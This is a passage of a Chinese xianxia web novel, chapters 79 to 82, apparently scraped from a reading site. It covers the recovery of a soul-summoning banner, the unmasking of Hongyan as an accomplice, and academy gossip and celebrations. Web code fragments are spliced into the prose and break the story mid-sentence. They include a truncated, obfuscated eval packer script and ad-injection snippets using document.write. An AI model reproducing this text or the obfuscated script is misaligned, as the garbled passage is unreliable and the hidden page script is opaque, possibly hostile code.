那个迟星垂穿着黑色的衣服,面容因为太远了,稍有模糊,但是气质和模样和他很像…… 连乔扶着迟星垂站稳了,她抓住他的袖子,方才哭过,现在脸上挂着泪痕,手上还留有一些黑灰,按在迟星垂雪白的衣服上,留下五指黑印。 迟星垂演技太差了,他不想表现出来,但从微表情能看出来,那是肉眼可见地嫌弃。 “妖道已经被我收服,你还好吗?” 连乔伸手用袖子擦了擦眼泪,迟星垂伸手提着她,防止她往自己身上乱蹭,连乔斜眼瞪他,迟星垂道,“你也不是第一次这么做了。” 他伸手递给连乔一个帕子,雪白无比,十分干净。 连乔记得童元宝说过,迟星垂有个很小的习惯,他有洁癖,喜欢浅色衣服,一有脏污就换掉,不喜欢穿深色衣服,深色衣服不容易看出来有没有脏…… 一个人就算是黑化,一些细小的习惯也不会变,所以,在幻境中看到的迟星垂,到底是谁? 79.第 79 章 招魂幡落在连乔手中,上面煞气缭绕,即使卷好再用灵绳束缚,也仍旧能感受到那股渗入骨髓的寒意。 招魂幡是用怨魂所制,连乔想起里面的蓝色鬼火,和子午谷铺在夏水上的火焰一样,嚣张、又冷又热,爬在皮肤上,撕心裂肺的焦痛…… 那个和迟星垂一样的人……火焰从她脚下蔓延,沿着湖水绞在她周围。 那个火也是由怨气所制么? 连乔将招魂幡里外探一遍,里面有四十一个魂魄,原书中的一年后,招魂幡已炼成,共四十九魂魄,她提前将招魂幡拿到手,避免了后面八人的厄运,也算是不幸中的万幸。 “我方才在里面看过,小竹意志强,一直在抵抗,还没有完全失去理智,如果找到她身体,再辅以招魂,就能把她拉回来。” 连乔觉得招魂幡拿在手中冰冷,用六角冰晶盒将其包裹住,放在铜镯中。 透着冰晶盒都能感受思思凉意,那些怨魂在里面日日受折磨,该是多大的煎熬? 连乔道:“问题是,妖道已经死了,他行踪不定,就算这一月只在桐花岭和墨江这一带,这一带路上又有数座山数条河,他随手一扔,我们上哪去找呢?” 迟星垂道,“可以用银蝶。” 将这一带分为十截,每一截都用银蝶做引,可以将时间缩短十倍。 照这样来看,将这一片仔细找一遍,大概要花上十日。 这妖道已经收了四十一怨魂,这些年来,没有听说过有这么大规模的抛尸,他定然是做了某些掩饰。 抓妖道已经用了几日,况且这几日天气温度高,再耽搁几天,小竹的尸身腐败,即使找到她魂魄,也不能让她恢复如初了。 要是有一个范围更小更准确的地点就好了。 连乔忽然想到什么,“半山。” “半山?” “应该是半山,或者是其他伴山,搬山之类的也有可能。”连乔想起第一次入招魂幡幻境时小竹对她说过的话,“这周围有类似发音的山峰吗?” 迟星垂取出地图,点头道,“有,这儿。” 万机有储存讯息的功能,要调出这周围的地图并不难,迟星垂锁定其中一块,再将图片放大,一张简略的绘图立在连乔眼前。 连乔眨了眨眼,望着那此起彼伏的山峦,“你说哪一片?” “这里。”迟星垂知道她不认识路,方向感也特别差,他伸手圈了一片,“斑山是一片山脉,由多座山峰组在一起,你看的这里,这里,还有这里,这一脉,都属于斑山范围之内。” 既然找到斑山,那么找起来就方便多了。 斑山在桐花岭与墨江的交界段,墨江的数道河流穿山而过,迟星垂遣了十二只灵蝶,分向不同山峰,最高且最复杂的天女峰由二人亲自前往。 正是天黑,连乔提着灯笼,仰头望着幽深的山峰,迈了一步,又退回来。 她坐在山下的凉亭中,“你快去快回。” 山间幽静,月光也透不进去,又有弃尸,谁知道还会遇到些什么呢。 万一再一次遇鬼呢。 让迟星垂去吧,他皮糙肉厚的,耐造。 迟星垂坐在她对面,他也提了一个灯笼,灯笼罩上还有装饰,阴影落在连乔眼前,她抬起头,“你怎么还不走?” 迟星垂颔首,看着她,“连乔,害怕呢?” “我怕什么?”连乔清了清嗓子,“我天不怕地不怕,你什么时候看到我犯怂了?” 嗯,这副模样,可真让人信服啊。 迟星垂伸手,修长的手指敲了敲灯笼,示意她的蜡烛即将燃尽,马上要熄灭了。 “啊。”连乔手忙脚乱去找蜡烛,可惜平日里很少用到灯笼,这个灯笼还是上次在桐花岭在小竹的摊子上买的,没有备用的。 “啪”一声,她的灯笼熄灭,这里的亮度瞬间降了一半,只剩下迟星垂的灯笼还透着光。 连乔默然站在黑暗中。 迟星垂:“好吧,你在这里等我,我检查一遍就回来。” 连乔:“等等。” 迟星垂转身,提着灯笼望她,他不说话,细微的光泽拢在他周围,衬得他安静又温润。 连乔抱着胳膊,这山风怎么突然就冷了呢,“我觉得,两个人一起上山,好歹有个照应。” 迟星垂默不作声,他取出一颗夜明珠,放进连乔的灯笼里,黯淡的灯笼又亮起来。 连乔举着灯笼,觉得自己又活过来了,“啊呀,你这么厉害,好像也不用照应。” 迟星垂沉默了一下,最后还是点头,“好,你在这里等我吧。” 连乔感觉迟星垂尽量在克制。 克制就克制,她跟他在一起也经常克制。 举着灯笼坐回原处,连乔的手顿了一下,忽然“哈哈”一笑,“师兄,虽然你很厉害,但是也需要帮手吧?” 她起身快步走在迟星垂前面,“师兄,咱们俩这么熟了,我很想当你帮手,不用客气啊。” 迟星垂疑惑为何连乔突然转变得这么快。 他留给连乔的夜明珠取自东海,亮度不高,但是续力强,比蜡烛的烛火照得远,还能照见一些不寻常的玩意儿。 透过那朦胧的珠光,他发现,凉亭后面有几个精怪,正从高树后面探出头,幽幽的目光盯着两人看。 那几只精怪刚成型,修为极弱,没有任何威胁。 但连乔很害怕这些人间传说中的山鬼精灵。 连乔一瞬间跑得没了影,只留下他一个人在风中沉默。 迟星垂:“……” 半晌他扬了一个笑,将自己手中的灯笼也换成夜明珠灯芯,提着灯笼跟上连乔。 罗盘一直纹丝不动,等路过一处土庙,一直安静的罗盘忽然转了一圈,最后指向土庙方向。 迟星垂提醒连乔,“找到了。” 两个夜明珠的灯笼让周围更亮了,能囊括的范围也更广,所以连乔经常能看到一些平常看不到的东西,她不动声色地往迟星垂身边凑。 就比如现在,她看到土庙上面坐了一个人。 迟星垂:“走吧。” 连乔忍不住了,她抓住迟星垂的手,“师兄,你确定我们要进土庙里面吗?” 迟星垂似乎不明白发生了什么,“是啊,罗盘指示,小竹的身体就在里面呢。” 连乔不想进去,也不想迟星垂一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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迟星垂假模假样地安慰,“嗯,为了你自己的安危考虑,是应该这样。” 原本享受着安静夜晚,顺便晒晒月光的小山神:“?” 迟星垂向小山神表明来意,他们要做的事对斑山没有危害,她也随他们去。 土庙后面有一处空地,迟星垂道,“就在这里了。” “这里这么空旷,又有山神坐镇,妖道为何能把小竹的尸体放在这里?” 等罗盘疯狂转了十多圈,连乔更是震惊,“招魂幡里面有这么多尸体都放在这里?” “这里有阵法相护。”迟星垂破了阵法,平整的土地立刻变了模样,上面还有新翻的土,他们在最新的土下面找到了小竹的身体,好在时间短,还没有腐烂,也没有被虫蚁啃食。 “上一个山神死去,新的山神才刚成型,这里属于三不管地段,所以才能被妖道钻了空子。”迟星垂道,“等山神足够强大,妖道就会换另一个地方,所以这里暂存的都是最新的身体。” 连乔道:“你看这里还有一个坑,里面没有人,想来是妖道挖好了留给洪颜的。” 迟星垂向这些尸身说了声“冒犯”,将她们都收敛好,又放置在山神庙,传讯给乾元剑宗,让剑宗来处理后续事宜。 连乔找到小竹,将招魂幡中的姑娘放出,又用咒符将她打回身体,一直忙到天亮,小竹才幽幽醒转。 还没等她开口,连乔袖中忽然传来“叮铃铃”的响声,打开一看,是洪颜的讯息。 她在求救。 80.第 80 章 再来到安置洪颜的地方,入目是一片狼藉,房间内空空如也,洪颜不见了。 “妖道已经死了。”连乔道,“洪颜的仇家也只有李怀阳,李怀阳也死了,她会被谁掳走呢?” 这次求救的铃铛只响了一次,急促又短暂,她甚至都没有来得及回问洪颜发生了什么。 “会不会是桐花岭洪家的人来了?” “应该不是。”迟星垂道,“如果是洪家的人,不会闹出这么大的动静,他们不认识求救的铃铛,不会将洪颜手上的铃铛损毁。” “还有一个人。”连乔道,“你还记得醉玉馆被艳娘抓起来,后来撞墙而死的女郎吗?” 说完又补充一句,“虽然杀了妖道,但是那个女子不见了。” 那女子怨念非常深,所以被妖道捕获,现在妖道身陨,她也行踪不明。 如果洪颜是被她抓走了,她想做什么? “谁?” 窗外的人影一闪而过,连乔和迟星垂对视一眼,立刻跟上去,一直追到墨江边。 远处天连着水,渔火漂浮在水面上,微波浮动,那渔舟便像飞船一样随风而动。 洪颜被一个白影抓着掠过水面,连乔御剑飞出,丛林剑流星一般,在夜空划过,“咻”地穿透白影,白影消散,紧接着“哐当”一声,洪颜沉入水底。 连乔飞身至洪颜落水的地方,渔火和月光笼在湖面上,给夜色渡一层阴寒的边。 她犹豫一番准备跳水。 迟星垂拉住她,“我下去。” “洪颜很怕你。”连乔摇头,“还是我来吧。” “但是你怕水。” 连乔扬起头,“你怎么知道我怕水?” 迟星垂的五官很深,月光下看不清他的脸,但是连乔能看得出他避开了自己的目光。 他没有回答,纵身潜入水底,连乔在水面上接应。 夜色阴冷,连乔抱着胳膊,忽然感觉到一只手搭在自己肩上。 “你找到……” 一转过头,根本没有迟星垂的影子,甚至连人的影子也没有。 脚下有一股力猛地一拉,连乔躲闪不急跌入水中,喝下一大口水。不等她起身,又有一只手掐住后脖,压着她往水中送。 “迟,迟……” 那人不给她求救的机会,将她的嘴捂住,完全让她的身体浸入水面,让刺骨的冷水冲入她肺腔。 连续呛几口水后,连乔大脑一片空白,感觉自己的意识也开始模糊,各异的画面像走马灯一样从眼前划过。 她挣扎了一下,只有一下,很快就不动了。 芥子空间打开,一双手伸了进去,精准地抓住招魂幡。 没等她拿住,连乔反手抓住她的手,猛地张开招魂幡,将她也收入其中。 “迟星垂。”连乔喊一声,迟星垂从水底跃出,长发被水浸湿,随意地垂在身后,发尾散在水里,像扇尾一样铺开。 连乔眼都直了,将招魂幡丢过去,“美人接着。” 迟星垂反手接住招魂幡,“好好说话。” 连乔:“嘿嘿。” 连乔从水面上爬起来,升起火,坐在篝火边,擦了一把脸。 身上的水漏下来,地面湿了一大片,迟星垂递给她一个干净的手巾,连乔搭在肩上,靠着篝火去看招魂幡上的人。 招魂幡里面有四十一个生魂,上面画了相应的小人,每一小人都有不同的怨力,其中一个女子,便是红颜枯骨,主攻击与杀伐。 她点了点洪颜,幡上的小人动了一下,连乔将她放出来,洪颜便坐在她对面。 连乔道:“妖道已经死了,现在招魂幡在我手上,你得听我差遣,我问什么,你答什么。” “你问。”洪颜冷笑一声,“你什么时候发现的?” “很早就发现了。”连乔道,“我在第一次见妖道,就拟了一个虚假的生辰八字,让妖道误以为我也是全阴之魂,让他下一个目标是我。” “我易容成了你,妖道想抓我,但每次用的都是术法困我。”连乔笑了笑,身体往前微微一倾,“你没有修为,手无缚鸡之力,如果是杀你,大可以不用这么费心。妖道用了三次幻境困我,可以说明他知道我的真实身份,而知道我易容这件事的,只有我们三个人。” 洪颜冷笑,“你怎么知道不会是他泄露的?” “当然不会是他。” “你就这么相信你的枕边人?” 洪颜拍了拍袖子,颇有些看透男人的表情,“人心隔肚皮,多得是知人知面不知心的时候,女郎,我劝你一句,不要太相信男人,你看看我,我做错了一件事,到现在为止,付出了多大的代价?” 连乔本来想说这和枕边人没有关系,但是转念一想也没必要解释,“我不知道以后他值不值得信任,但是我现在定然是信他的。” 洪颜眯起眼,“你会后悔的。” 连乔道:“当然,除此之外,发现你有问题,还有另外两个原因。” “在醉玉馆,先是死了李怀杨,接着是张王广和陈平二人,这几人除了和你都有过节外,我暂时找不到别的共同点,而我在第一次入招魂幡时,我是顶着你的脸进去的,小竹在看到我时很吃惊,不像是第一次见到你的表现,那时候我就猜,你是不是有点问题。” 洪颜笑了笑,“你还真是聪明。” “你到底是受害者,没有充足的证据,我不想怀疑到你头上。”连乔道,“直到我们去斑山找小竹的尸体,我看到有个新的坑。你很聪明,你把自己的身体带走了,我们看不到,但是你没有注意到,山里不仅仅是你存在,也有目击者。” 小山神问他们在找什么,上一次也有一个人过来挖,把她自己带走了。 小山神还不太会说话,结结巴巴的,说有人把自己挖出来,像在说糟糕的鬼故事。 结果刚将小竹的事处理完,洪颜的求救铃铛便响了。 那个时候,连乔才确定,一直在背后协助妖道的,就是洪颜。 洪颜漫不经心地笑了,“是啊,是我做的,因为他也帮我了。” “我早就死了,在李怀杨抛弃我后不久我就跳墨江而死。妖道找到我,说他可以帮我报仇,代价是永远在招魂幡内受折磨。” 洪颜摆了摆袖子,“我是自己去的醉玉馆,因为我知道李怀杨喜欢去那里,我在守株待兔。我一定要让这个人付出代价,即使我死,即使我永远受折磨,那我也死不足惜。” “醉玉馆那些人,都是我杀的。”洪颜靠在椅背上,盯着连乔,“所以呢,妖道有罪,我也有罪,道友,你要怎么处置我?” “不如你留下招魂幡,让我受你所用?”洪颜笑起来,她笑起来很好看,比先前唯唯诺诺的样子潇洒太多,“我本也有罪,就让我在这漫长的时光里赎罪好了。” 原来如此。 怪不得上一世云招摇得到招魂幡后,会将其留下,妖道固然可恶,但这招魂幡也不完全清白。 如果将招魂幡交至乾元剑宗,按照剑宗一刀切的性格,绝对是将其损毁。 “招魂幡被控制住,不会再有害人的能力,将其损毁太便宜我了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”洪颜还在催促连乔,让她将自己留下来。 “我和老道有因果,他解决我夙愿,我帮他炼制杀人武器。”洪颜道,“既然是我是自愿的,那么我就永远受招魂幡控制,且不能噬主,是一个有力的杀人武器。” 她笃定了连乔会留下招魂幡,这些修道之人一个个都冠冕堂皇的,都高高在上指责她,都认为她有罪,怎么可能会这么轻易放过她? 何况招魂幡这么趁手的武器,连乔怎么可能舍得丢? 连乔道:“送你们回乾元剑宗吧。” 洪颜仰头,“什么?” “你口口声声说你有罪,带回乾元剑宗太便宜你,但我不觉得,你也不用这样认为。”连乔道,“那些人害你,让你生不如死,你杀他们是应该的。” 洪颜顿住,她没想到连乔会这样说,“你觉得,我没有错?” “到底有没有错你自己心中最能衡量,不用问我。”连乔道,“就算你认为你做错了,事情再发生一次,你觉得你会选不同的路么?” 洪颜双瞳放空,“不,不可能,我还是会杀了他,杀了他们。” 戾气四起,像浪潮一样翻涌,连乔道,“从始至终这也不是你的问题,他们打你,你当然要还手,人总要反击的,反击不是错误,你也不必拿别人的错误来惩罚自己。” 听到这句话,洪颜沉默下来,她木然坐在椅子上,眼神空洞。良久,她捂住脸,笑声从指缝里漏出来,“你是第一个这样和我说的人。” 乾元剑宗的人过来时,连乔正坐在客栈里喝酒,天气彻底暖和了,连翘花谢了一地,满目金黄。 迟星垂将她的酒换成茶,“你想好了?” “嗯。”连乔道,“把他们交回给剑宗,招魂幡也会被一并损毁,里面那些已经成煞的怨灵,也会就此消亡,魂飞魄散。” “你找人超度她们,日日用灵泉抚深用经文荡浊,也至少要百年时间。”迟星垂道,“万一百年不成,投入的精力、钱财可都功亏一篑了。” 连乔托着腮,“没关系啊,本谷主有的是钱有的是时间。” 半晌,她又道,“迟大公子说这话,你不也是出了一大笔费用将招魂幡安置在青莲观里了么?” 青莲老道惹出来的祸事,自然要由道观来解决。 迟星垂道:“嗯,当时看你暂时拿不出来那么多钱,我怕你生气气到我。” 连乔托着腮,“这不是让南道马上赶过来送钱么。” 迟星垂笑了笑。 “其实招魂幡里面的怨灵才是受害者,虽然每个人手上都有血,但如果有得选,谁又愿意跟老道做交易呢?” “本来就已经够惨了,还要在招魂幡中受折磨。”连乔道,“日日在噩梦中徘徊,没有谁想过那种日子,她们罪不至此,也不应该由乾元剑宗统一销毁。” 迟星垂望着她,“你好像和我记忆中的不一样。” 连乔捏住酒杯,“所以这就是你停了抑制重心蛊药物的原因?” 连乔靠近他,“迟星垂,你在观察我?” 迟星垂捏着茶杯的手停住,抬眼望着连乔,“你不认为你问题很大吗?” “你演得确实像,但是难免会百密一疏。” 连乔也没有再服药,她能感受到对面心跳很快,情绪有起伏。 迟星垂发现她不是连翘了?他还在帮她瞒着。为什么? 门忽然被敲响,外面传来南道的声音,“连翘?” 连乔和迟星垂对视一眼,彼此心照不宣,她将杯盏一收,“走吧,我们回学院。” 81.第 81 章 回到学院,是严老先生的课,看到连乔,严青山朝她点了点头。 陈灵玉之事,涉及魔族,陈灵玉因为私心知情不报,虽然没有酿成大祸,但因为坏规矩,免不了被责罚。 因为同月受了委屈,鬼无牙心中不畅快,以最严重的后果给陈灵玉定罪,甚至想将陈灵玉逐出师门。 严青山素日里温温吞吞,听闻此事却暴跳如雷,一路追到鬼无牙门口,“我徒弟宅心仁厚,是为桐花岭百姓考虑,才做此打算,难道你们不记得当年墨江山神被杀,那一带常年五行失衡,死了许多人吗?” 就是因为墨江山神被杀,才导致当地没有庇护,自然灾害频发,陈灵玉一家也是丧生于一场洪灾之中。现在再遇上这种事,陈灵玉自然将桐花岭一带百姓的安危考虑在前,保山神一条命。 “那都是多少年前的事儿了?”鬼无牙吹了吹胡子,“别说那些堂而皇之的话,你徒弟违反了规矩,就是有错,有错就得受罚,你看她那不将规矩放在眼里的样子,要我看,不如逐出师门。” “规矩是死的人是活的,你徒弟年年在外面为非作歹不知坏了多少规矩,要我看还不如把你徒弟逐出剑宗。” “你说什么?!” 鬼无牙当即一拍桌子,灰白灵力交缠如游蛇,直冲严青山面门。 严青山直接掀起桌子,迎面对上,化身青鹤与游蛇缠绕相斗。 游蛇灵敏,白鹤霸道,冲击与尖叫响彻云端,天门大开,峰顶山谷被横扫了一半。 二人谁也不肯让谁,从乾元剑宗打到冲虚学院,又从冲虚学院打到万山千峰,从白日打到黑夜,又从黑夜斗法到天明,仍旧没有决出胜负。 鬼无牙蛮横好斗是出了名的,严老先生素日稳重,打起架来也是不管不顾,这一场打斗精妙绝伦华丽无比,二人什么招式都使了出来,一时间议论纷纷。 鬼无牙处处相逼,严青山也当仁不让,最后是剑宗其他长老出面,才暂时将事情平息。 最终陈灵玉被禁足一年,解禁后在剑宗免费做五年义工,此时才就此罢休。 连乔听到这个故事时正在饭堂吃饭,现在她已至元婴境界,早已辟谷,但是还保留口舌之欲,有吃午饭的习惯。 白花惊也跟着赶来,她坐在连乔面前,“师姐,这几日我一直在努力修行,经过那位师父的指点,现在已经筑基啦。” 她用灵力凝结成一朵小白花,透明状的,像果冻材质,把花递给连乔,“送给你。” 白花惊道,“这朵白花是我用弱水之灵做的,非常脆弱。” “脆弱?”童元宝伸手要拿,“跟你一样脆弱吗?” “我才不脆弱呢。”白花惊赶忙避开他的手,放在连乔手背上,小白花顺着连乔的腕骨绕一圈,停在左手内侧,化成极淡的花纹。 “你可别小看它哦。这个花遇到有危险的灵气就会变色,魔气会变红色,妖气会变蓝色,煞气会变黑色。”白花惊笑笑地,“这是我第一次炼制出来的法器,连乔姐姐,送给你。” 连乔运转灵力往里灌,果然,五瓣花的边慢慢染成蓝色,像刺青一样立在她手腕。 白花惊美滋滋地等连乔夸奖,连乔给她竖大拇指,“真棒。” 凌阿幽幽望着白花惊,“就你连乔姐姐有礼物,我们都没有。” 白花惊摸了摸头,“我现在修为不够,就只能做出一个。” 连乔对她的帮助最大,不仅指点她,还把自己的影卫借她做指导,炼制出第一个有用的灵器,她首先想到的就是连乔了。 她有些不好意思,“等我以后厉害了,能炼制多的东西,我再给你们做可以吗?” 童元宝:“不要了,伤心了。” 白花惊:“啊?” 凌阿“哈哈”一笑,成英轩道,“你别再逗她了,小白花会当真的。” 童元宝给白花惊倒一杯琼浆,“哎小白花,你现在放弃修剑,你爹同意吗?” 白花惊吸了吸鼻子,没有说话。 童元宝立刻明白过来,他把杯子递到白花惊手上,“白剑仙不同意没事,修行是你自己的事,你愿意了,强大了,谁也管不着。” 白老先生为人古板,练剑如痴性格豪爽,向来以剑道为尊,小白花在修剑上没有一点天赋就算了,还转头学炼气,他一时接受不了也属正常。 白花惊摇摇头,“不是啊,爹说只要我高兴就好,就算是我一辈子没有天赋待在冲虚学院也没关系,反正他养得起。” 童元宝:“我也想我爹能这样和我说。” 凌阿:“你回北塬就可以。” 童元宝的腮一抖,“那不行。” 北塬是修真界童氏世家聚居地带,内部纷争复杂,主脉与旁系一直争斗不断,童元宝属主脉一支,小时候几次三番遭遇袭击,童氏家主为保小儿平安长大,便将他送至冲虚学院修行,童元宝有修剑天赋,又自己入了乾元剑宗。 事实上童氏家主并不想童元宝一直留于剑宗,想让他回童氏继承家主衣钵,奈何童元宝志不在此。 凌阿冷笑一声,童元宝道,“我那是不稀得计较,让我去和我兄弟姐妹持刀相向,我可干不来。” “哎,不说这个了,我们喝酒吧?”童元宝道,“说这些晦气。” 连乔道:“不如……” “不。”童元宝大手一挥,“每次去借酒楼你都请客,这次我们喜事多,你和小白花都有所突破,理应庆祝,这次就我来请,我们去熹微楼。” 白花惊问:“除了我们,还有其他人呢?邵师兄去嘛?迟师兄呢,迟师兄去不去呀?” 虞南子在外处理事情还没有回来,邵吴兴受师父命令一直留守在乾元剑宗,现在还在忙。迟星垂神龙见首不见尾,一回来就不知道去了哪里。 “吴兴定然是要去的,大师兄么,我问问。” 凌阿倒了杯水,转了转眼珠子,用识海给童元宝传音,“元宝,你说的能行吗?” 童元宝比了个“放心”的手势,回音,“定然行。” 凌阿又问,“都安排好了吗?” “都安排好了,吴兴准备过去了。” 白花惊问:“你们在说什么?” “没说什么。”童元宝反问,“你听到我们说话了吗?” “我看你们眼神不对。” “你看错了。” “好吧。”白花惊托着下巴,“你们能联系上迟师兄吗,迟师兄总是这么神神秘秘的,一回来就没影了。” “联系不上。”童元宝道,“万机他不回,通讯符不理,可能是在处理什么事吧。” 连乔正在用万机在看最近剑宗发生的轶事趣闻,闻言抬头,给迟星垂发了讯息,“晚上他们说在熹微楼一聚,来吗?” 看完了严青山大战鬼无牙的精彩过程,迟星垂回了讯息,“哪些人?” “你师门,小白花,还有我。” “嗯。” “所以过来吗?” “我看看。” 半晌,童元宝接 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 到迟星垂的讯息,“啊,师兄说他来。” 连乔挑了挑眉,她将东西收起来,起身道,“我和小白花去上课了,晚上见。” 走了没几步,迎面撞到一个人,非常眼熟,摇着扇子,将发丝扇得迎风飞扬。 呦,这不是迟来风么,不过这次站在迟来风身边的不是云招摇,而是一个红衣双髻身材窈窕的女子。那女子一双丹凤眼,高鼻梁,嘴唇比较薄,不是个顶个地漂亮,但是非常精神。 “连翘?”迟来风非常吃惊,他上下打量连乔一番,“你的修为又突破了?” 他一眼便能看出她升了两级,如此迅速的速度,还真是稀有。 连乔看也不看他一眼,“小白花,走。” “连翘谷主,大可不必对我如此冷淡。”迟来风斜跨一步,正好挡在连乔面前。 “只是几日未见,连乔谷主进步如此迅速,实在是让我刮目相看。”迟来风道,“我喜欢和优秀的人来往,也喜欢请教些问题,连姑娘,不妨赏个脸,晚上我请你喝一杯。” 连乔淡淡一笑,往侧边走一步,“抱歉,晚上有约了。” 迟来风又跟着连乔跨一步,拦住连乔的步子,“不知道佳人和谁有约,能否也邀我一起?” 迟来风身后的红衣女子已经变了脸色,她虎视眈眈望着连乔,“表哥,她又是谁?” “容瑶,不可无礼。” 红衣女子冷哼一声,“又不知道是哪个小门派的妖女,表哥你能不能离这些人远点?” 表哥? 连乔望了一眼迟来风后面的小姑娘,看来是原书中迟来风那位刁蛮任性经常性无理取闹的表妹——容瑶。 原书在剧情上经常漏洞百出,但是男女主的爱情上却描写细腻没有一丝差错,这位恶毒女配容瑶,和书中描写得一模一样。 容瑶从小仰慕风流倜傥的迟来风,是男主的小跟屁虫,性格桀骜无比,最讨厌妖族和黏在潇洒表哥身边的虚荣女子,也是她发现云招摇身上有魅妖血脉,当众揭开云招摇的身世,让云招摇无处遁形,愤然离宗前往人间历练。 收服招魂幡就是历练中的事。 迟来风还在邀请连乔共饮美酒,“即使今夜不方便,你也总有方便的时候吧,我是否可以提前与连乔谷主预定时间呢?” “可以啊。”连乔笑一笑,“可以带敖周一起吗?” 迟来风一瞬间变了脸色,容瑶伸头,“敖周是谁,表哥,敖周是什么东西?” 连乔趁机侧身一让,继续往前走,懒得理他。她发现了,迟来风是纯粹的抖.M,有受虐倾向,喜欢他的他不好好珍惜,越是不喜欢他的越是不给他好脸色的,就越往对方身边凑。 比如前期一直不给她好脸色的云招摇,成功引起了他的注意,像容瑶、原主连翘这种爱他疯狂的人,他向来连正眼都不会瞧。 这种人说好听些是被惯坏了,恨不得全世界都围着他转,说难听点,一个字,就是贱。 连乔走得非常快,像是怕粘上什么脏东西。白花惊在后面目瞪口呆,啊,以前白祺她们一直说迟来风最喜欢云招摇,且对她一心一意,可是现在看来,不是这样啊。 迟来风这个人,怎么人前一面,背后另一面呢。 不行,她要找个机会告诉云招摇。 白花惊拿出万机,给云招摇通讯,她没有接,白花惊想了想,没有被白祺发讯息。 不知道为什么,最近她总觉得白祺怪怪的,她好像没什么问题,但是总让人不舒服。 82.第 82 章 熹微楼在云来城另一端,也是盘山而建,山与楼相融,人间天上四月景,正是花红柳绿万紫千红的好风光。 入夜,云来城亮了一城的光火,熹微楼中光线柔和,正配熹微二字,连乔坐在楼中一厅,童元宝给她倒酒,倒了一杯又一杯。 童元宝喝酒上脸,远远地都能看到脸上爬上一层红晕,“连乔,你最近也太风光了,又是收服镜魔,又是解决招魂幡妖道,修为还连升多级,最近冲虚那边议论得最多的有两件事,一件是严青山和鬼无牙大打出手,还有一件就是你这匹黑马。” 偏偏这匹黑马和传闻中完全不同,她异常低调。童元宝问,“你知道外面如何传的吗?” “今年的入宗大比又快要到了,大家传你今年的入宗比试必能一举夺魁。”童元宝搓了搓手,“其实按照惯例,你突破如此之快,又如此之强悍,是可以直接被师父提前挑走的。” 奈何她曾经是出了名的不学无术,连比试大会都进不去初选,还在比试中得罪云招摇她们。得罪了云招摇,就等于是得罪李长淮师门。 这段时间,剑宗确实有几位长老想提前挑选连乔,但都被李长淮驳回。李长淮坚信连乔的水准存在水分,到底是不是真的天才在入宗比试上一试就知。 他笃定连乔磕了药,上一次入宗大比,连乔那般丢人现眼,不可能再回来就连破多级入如此之境,他认为这其中必然有隐情。 连乔身后有几个得力助手,那几人有无数种手段来帮连乔走捷径,李长淮现在虽然探不出来问题,但宗门大比人多眼杂,又是多轮战,连乔这身修为若是来路不正,绝对会出纰漏。 既然他们能将连乔逐出冲虚学院一次,那必然可以逐出第二次。 童元宝道:“哎连乔,你到底是怎么得罪这一群大佬的?” “大概是因为云招摇白祺她们吧。” “我很奇怪,当时你抓了云招摇的养父,就是为了威胁她给你放水?” 连乔:“对啊。” 童元宝:“你以前也太恶毒了吧,而且也不聪明,云招摇养父那一大把年纪,颤颤巍巍的,你拿他的命来威胁云招摇,你不怕拉他来的半路他就一命呜呼了?” 连乔:“我没虐待他,我看他病得那么重,还给了云贾胜不少吊命止痛的名贵药物。” 云贾胜是散修的儿子,也是云招摇的哥哥,不过因为散修离世,云招摇和那名义上的哥哥也基本断了来往。 童元宝:“啊?你拿人性命威胁她女儿,还好吃好喝伺候着啊?” “谁说我是拿他性命威胁云招摇的?” 她是拿云招摇身份来威胁她的。 当年原主拼了命地想入乾元剑宗,拿云招摇一半魅妖血统的身世威胁她,正逢云招摇养父病重,连翘承诺只要云招摇在入宗大比时故意败给自己,她不仅会帮云招摇保守秘密,还会送出各种灵药,帮她救回父亲。 连翘手下黑曜等人一堆的鬼点子,他们不仅准备威逼利诱云招摇,在其他场中也要威胁其他人,就等着一路走一路威胁,直到威胁完所有人进门。 只不过在一开始就遇到了狠茬,云招摇不仅不受威胁,还利用大家的同情心反将一军,揭露连翘恶毒废物的本来面目,让连翘彻底被逐出冲虚学院。 如果不是自己脸皮厚,不受风言风语影响,现在根本不可能平心静气,重新回到冲虚学院修习。 “你以前是怎么想的啊,你走正经路子多厉害,非搞那些歪门邪道的,还把自己名声搞得那么臭。”童元宝斜着眼,“你知不知道云招摇她们之前怎么说你的。” “她们说我什么了?” “说你仗势欺人,还说你寡廉鲜耻荒.淫无度。”童元宝道,“你刚被乾元剑宗赶走的那段时间,那风言风语传得啊,多少你的荒唐事啊,那时候不仅传你对迟来风爱而不得天天跟在他身后想对他下手,还说你看到好看的男人就想上,那段时间啊……” 童元宝摆摆手,“师父那种不问世事的人,也听过你的一两桩风流韵事。” 连乔脸色明显不悦,握着酒杯的手也微微发抖。 连乔想着连翘和云招摇是有龃龉,但是也不至于让那位女主特意来散播这种恶毒的谣言。 何其相似。 上一世她也被不少人造谣,黑谣黄谣漫天飞,有时候因为演戏发生一些接触,也能被人过意解读,出门和朋友吃个饭,也能被说成她包.养小白脸,脚踏几条船见一个爱一个。 看连乔脸色不对,成英轩朝童元宝摇头,示意他别说了。 童元宝也注意到连乔的异样,他不经意地转移话题,“你当时还回来过一趟学院,一回来就被那些流言蜚语气哭了,之后我就没再学院见过你了,一直到现在,你让我们耳目一新,可谓是乘风破浪,也算是守得云开见月明,连乔,来,喝一杯。” “砰。”就在此时,耳边传来巨响,亮光扑面而来,这一瞬间整座熹微楼也亮如白昼。 “快看,是烟花。”童元宝忽然指着窗外,“连乔,快看,黄色的烟花,在天空铺成花海了。” 烟花只有一瞬间,那一瞬间天空被花丛包裹,像初春时节怒放的连翘,全然是生命力。 “连乔,祝你前路坦荡一往无前。” 连乔:“谢谢。” “连乔,你知道这些是谁为你准备的吗?”童元宝道,“有人为你回来,特意准备了烟花庆贺,你猜是谁?” 连乔看了一圈,“邵吴兴吗?” 童元宝一愣,“你怎么知道?” “只有他和迟星垂不在,我猜他下去放烟花了。”连乔道,“谢谢你们这么费心了。” 童元宝非常高兴,“吴兴要是知道你这么喜欢,会非常高兴的。” 窗外又升起数个花灯,各异形状,将熹微楼周边照得格外明亮。 